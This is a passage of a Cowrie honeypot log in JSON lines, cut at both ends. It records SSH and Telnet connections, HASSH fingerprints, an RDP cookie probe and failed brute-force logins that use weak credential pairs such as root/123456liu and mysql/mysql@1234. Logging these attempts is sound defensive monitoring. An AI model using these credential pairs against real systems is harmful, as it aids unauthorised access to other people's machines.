-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:42.098223Z","src_ip":"83.168.110.85","session":"4555353e94fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:42.571612Z","src_ip":"83.168.110.85","session":"4555353e94fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:43.872811Z","src_ip":"83.168.110.85","session":"4555353e94fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43856,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0f959b773ba","protocol":"ssh","message":"New connection: 83.168.110.85:43856 (10.17.0.5:22) [session: c0f959b773ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:49.079118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:49.083316Z","src_ip":"83.168.110.85","session":"c0f959b773ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:49.203149Z","src_ip":"83.168.110.85","session":"c0f959b773ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:49.567871Z","src_ip":"83.168.110.85","session":"c0f959b773ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:50.759355Z","src_ip":"83.168.110.85","session":"c0f959b773ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33744,"dst_ip":"10.17.0.5","dst_port":22,"session":"91428baa895e","protocol":"ssh","message":"New connection: 83.168.110.85:33744 (10.17.0.5:22) [session: 91428baa895e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:56.011950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:56.017486Z","src_ip":"83.168.110.85","session":"91428baa895e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:56.138046Z","src_ip":"83.168.110.85","session":"91428baa895e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:56.509555Z","src_ip":"83.168.110.85","session":"91428baa895e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:57.633984Z","src_ip":"83.168.110.85","session":"91428baa895e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":91.839928150177,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:14:57.968410Z","src_ip":"152.42.224.71","session":"5c41e21d8a23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":52410,"dst_ip":"10.17.0.5","dst_port":22,"session":"6891ba79f899","protocol":"ssh","message":"New connection: 167.172.81.52:52410 (10.17.0.5:22) [session: 6891ba79f899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:00.261719Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:00.267182Z","src_ip":"167.172.81.52","session":"6891ba79f899","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:00.271976Z","src_ip":"167.172.81.52","session":"6891ba79f899","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33752,"dst_ip":"10.17.0.5","dst_port":22,"session":"78985479d80c","protocol":"ssh","message":"New connection: 83.168.110.85:33752 (10.17.0.5:22) [session: 78985479d80c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:03.065026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:03.107174Z","src_ip":"83.168.110.85","session":"78985479d80c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:03.422534Z","src_ip":"83.168.110.85","session":"78985479d80c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:04.001132Z","src_ip":"83.168.110.85","session":"78985479d80c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:05.342657Z","src_ip":"83.168.110.85","session":"78985479d80c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":50020,"dst_ip":"10.17.0.5","dst_port":22,"session":"19d97f1af777","protocol":"ssh","message":"New connection: 83.168.110.85:50020 (10.17.0.5:22) [session: 19d97f1af777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:10.381312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:10.387782Z","src_ip":"83.168.110.85","session":"19d97f1af777","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:10.510247Z","src_ip":"83.168.110.85","session":"19d97f1af777","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:10.876325Z","src_ip":"83.168.110.85","session":"19d97f1af777","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:12.349412Z","src_ip":"83.168.110.85","session":"19d97f1af777","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.9.152","src_port":55342,"dst_ip":"10.17.0.5","dst_port":22,"session":"604bc1f36e58","protocol":"ssh","message":"New connection: 128.201.9.152:55342 (10.17.0.5:22) [session: 604bc1f36e58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:15.331906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:15.336849Z","src_ip":"128.201.9.152","session":"604bc1f36e58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:15.463712Z","src_ip":"128.201.9.152","session":"604bc1f36e58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456liu","message":"login attempt [root/123456liu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:15.998062Z","src_ip":"128.201.9.152","session":"604bc1f36e58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43830,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff7f013a798a","protocol":"telnet","message":"New connection: 152.42.224.71:43830 (10.17.0.5:23) [session: ff7f013a798a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:16.914012Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:17.131756Z","src_ip":"128.201.9.152","session":"604bc1f36e58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43538,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf765f904e4d","protocol":"ssh","message":"New connection: 83.168.110.85:43538 (10.17.0.5:22) [session: bf765f904e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:17.362369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:17.367926Z","src_ip":"83.168.110.85","session":"bf765f904e4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:17.491383Z","src_ip":"83.168.110.85","session":"bf765f904e4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:17.861728Z","src_ip":"83.168.110.85","session":"bf765f904e4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:19.042096Z","src_ip":"83.168.110.85","session":"bf765f904e4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":56510,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ceea0a7f4ad","protocol":"ssh","message":"New connection: 194.113.233.25:56510 (10.17.0.5:22) [session: 8ceea0a7f4ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:19.125142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:19.130073Z","src_ip":"194.113.233.25","session":"8ceea0a7f4ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:19.227554Z","src_ip":"194.113.233.25","session":"8ceea0a7f4ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"112112","message":"login attempt [root/112112] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:19.503499Z","src_ip":"194.113.233.25","session":"8ceea0a7f4ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:20.596550Z","src_ip":"194.113.233.25","session":"8ceea0a7f4ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.37904453277588,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:21.652112Z","src_ip":"152.42.224.71","session":"b135af5f67e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33146,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb5c3a44fbe2","protocol":"ssh","message":"New connection: 83.168.110.85:33146 (10.17.0.5:22) [session: eb5c3a44fbe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:24.329320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:15:24.335166Z","src_ip":"83.168.110.85","session":"eb5c3a44fbe2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sh